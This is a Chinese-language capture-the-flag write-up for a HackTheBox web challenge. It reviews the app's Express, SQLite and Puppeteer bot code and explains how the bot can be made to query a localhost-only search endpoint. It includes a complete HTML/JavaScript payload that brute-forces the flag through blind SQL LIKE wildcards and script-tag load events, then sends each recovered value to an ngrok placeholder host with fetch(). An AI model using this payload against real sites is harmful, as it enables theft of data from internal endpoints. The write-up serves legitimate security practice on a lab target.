# 信息收集
源码 down 下来就开始审阅呗,全是 js。比较重要的就是 /route/index.js
和 database.js
以及 bot.js
/route/index.js
const bot = require('../bot'); | |
const path = require('path'); | |
const express = require('express'); | |
const router = express.Router(); | |
const response = data => ({ message: data }); | |
const isLocalhost = req => ((req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337') ? 0 : 1); | |
let db; | |
router.get('/', (req, res) => { | |
return res.sendFile(path.resolve('views/index.html')); | |
}); | |
router.get('/entries', (req, res) => { | |
return res.sendFile(path.resolve('views/entries.html')); | |
}); | |
router.get('/api/entries', (req, res) => { | |
return db.listEntries(isLocalhost(req)) | |
.then(entries => { | |
res.json(entries); | |
}) | |
.catch(() => res.send(response('Something went wrong!'))); | |
}); | |
router.post('/api/entries', (req, res) => { | |
const { url } = req.body; | |
if (url) { | |
uregex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/ | |
if (url.match(uregex)) { | |
return bot.visitPage(url) | |
.then(() => res.send(response('Your submission is now pending review!'))) | |
.catch(() => res.send(response('Something went wrong! Please try again!'))) | |
} | |
return res.status(403).json(response('Please submit a valid URL!')); | |
} | |
return res.status(403).json(response('Missing required parameters!')); | |
}); | |
router.get('/api/entries/search', (req, res) => { | |
if(req.query.q) { | |
const query = `${req.query.q}%`; | |
return db.getEntry(query, isLocalhost(req)) | |
.then(entries => { | |
if(entries.length == 0) return res.status(404).send(response('Your search did not yield any results!')); | |
res.json(entries); | |
}) | |
.catch(() => res.send(response('Something went wrong! Please try again!'))); | |
} | |
return res.status(403).json(response('Missing required parameters!')); | |
}); | |
module.exports = database => { | |
db = database; | |
return router; | |
}; |
database.js
const sqlite = require('sqlite-async'); | |
class Database { | |
constructor(db_file) { | |
this.db_file = db_file; | |
this.db = undefined; | |
} | |
async connect() { | |
this.db = await sqlite.open(this.db_file); | |
} | |
async migrate() { | |
return this.db.exec(` | |
PRAGMA case_sensitive_like=ON; | |
DROP TABLE IF EXISTS userEntries; | |
CREATE TABLE IF NOT EXISTS userEntries ( | |
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, | |
title VARCHAR(255) NOT NULL UNIQUE, | |
url VARCHAR(255) NOT NULL, | |
approved BOOLEAN NOT NULL | |
); | |
INSERT INTO userEntries (title, url, approved) VALUES ("Back The Hox :: Cyber Catastrophe Propaganda CTF against Aliens", "https://ctf.backthehox.ew/ctf/82", 1); | |
INSERT INTO userEntries (title, url, approved) VALUES ("Drunk Alien Song | Patlamaya Devam (official video)", "https://www.youtune.com/watch?v=jPPT7TcFmAk", 1); | |
INSERT INTO userEntries (title, url, approved) VALUES ("Mars Attacks! Earth is invaded by Martians with unbeatable weapons and a cruel sense of humor.", "https://www.imbd.com/title/tt0116996/", 1); | |
INSERT INTO userEntries (title, url, approved) VALUES ("Professor Steven Rolling fears aliens could ‘plunder, conquer and colonise’ Earth if we contact them", "https://www.thebun.co.uk/tech/4119382/professor-steven-rolling-fears-aliens-could-plunder-conquer-and-colonise-earth-if-we-contact-them/", 1); | |
INSERT INTO userEntries (title, url, approved) VALUES ("HTB{f4k3_fl4g_f0r_t3st1ng}","https://app.backthehox.ew/users/107", 0); | |
`); | |
} | |
async listEntries(approved=1) { | |
return new Promise(async (resolve, reject) => { | |
try { | |
let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE approved = ?"); | |
resolve(await stmt.all(approved)); | |
} catch(e) { | |
console.log(e); | |
reject(e); | |
} | |
}); | |
} | |
async getEntry(query, approved=1) { | |
return new Promise(async (resolve, reject) => { | |
try { | |
let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE title LIKE ? AND approved = ?"); | |
resolve(await stmt.all(query, approved)); | |
} catch(e) { | |
console.log(e); | |
reject(e); | |
} | |
}); | |
} |
这看到了 flag 存在这个数据库里
不过要求请求 IP 是本地,否则就会返回 403
同时给了请求地址 /api/entries/search
查过资料知道这个是个 SSRF,让服务器通过远程访问到自己服务期上执行 js,然后把 flag 反馈给记录服务期
bot.js
const puppeteer = require('puppeteer'); | |
const browser_options = { | |
headless: true, | |
args: [ | |
'--no-sandbox', | |
'--disable-background-networking', | |
'--disable-default-apps', | |
'--disable-extensions', | |
'--disable-gpu', | |
'--disable-sync', | |
'--disable-translate', | |
'--hide-scrollbars', | |
'--metrics-recording-only', | |
'--mute-audio', | |
'--no-first-run', | |
'--safebrowsing-disable-auto-update', | |
'--js-flags=--noexpose_wasm,--jitless' // yoinking from strellic :sice: | |
] | |
}; | |
const visitPage = async url => { | |
const browser = await puppeteer.launch(browser_options); | |
let context = await browser.createIncognitoBrowserContext(); | |
let page = await context.newPage(); | |
await page.goto(url, { | |
waitUntil: 'networkidle2' | |
}); | |
await page.waitForTimeout(7000); | |
await browser.close(); | |
}; | |
module.exports = { visitPage }; |
这里面 ``visitPage 是用
puppeteer` 将目标页面载入到本地,从而构成了 SSRF
# 构造攻击
Payload:
<html> | |
<!-- | |
javascript to retrieve web_abusehumandb flag using blind SQL searches | |
Serve this page up using `python3 -m http.server` and `ngrok http 8000` | |
--> | |
<head> | |
<script> | |
// I used trial and error to get length of flag, the number of underscores is equal to the length of the flag | |
// since underscore is a wildcard in SQLite we need to make some assumptions here. | |
var flag = '_____________________________'; | |
// reduced character set, flags usually dont use a full character set, be careful of wildcards | |
// I havent found a way to escape them | |
const chars = '@!0123456789{}abcdefghijklmnopqrstuvwxyzHTB_'; | |
function replaceChar(string, index, char) { | |
return string.substr(0, index) + char + string.substr(index + 1); | |
} | |
function sendFlag() { | |
// replace with the unique part of the ngrok address | |
fetch(`http://<unique>.ngrok.io/?char=${flag}`); | |
} | |
function loadScript(guess, char) { | |
return new Promise((res, rej) => { | |
// script will load a text file | |
// onload is triggered if a 200 status is returned when loading a script, this can be used for blind exfil | |
newElem = document.createElement('script'); | |
newElem.src = "http://127.0.0.1:1337/api/entries/search?q=" + encodeURIComponent(guess); | |
newElem.id = 'pooscript'; // cleanup, because I am nice. | |
newElem.onload = () => { char == '_' ? rej() : res(char) }; // assume SQL wildcard is underscore in flag | |
document.head.appendChild(newElem); | |
}) | |
} | |
function getChar(index) { | |
for (var i = 0; i < chars.length; i++) { | |
loadScript(replaceChar(flag, index, chars[i]), chars[i]).then((res) => { | |
flag = replaceChar(flag, index, res); | |
sendFlag(); | |
}); | |
document.querySelector('#pooscript').remove(); // cleanup, because I am nice. | |
} | |
} | |
function run() { | |
for (var j = 0; j < flag.length; j++) | |
getChar(j); | |
} | |
run(); | |
</script> | |
</head> | |
</html> |
flag: HTB{5w33t_ali3ndr3n_0f_min3!}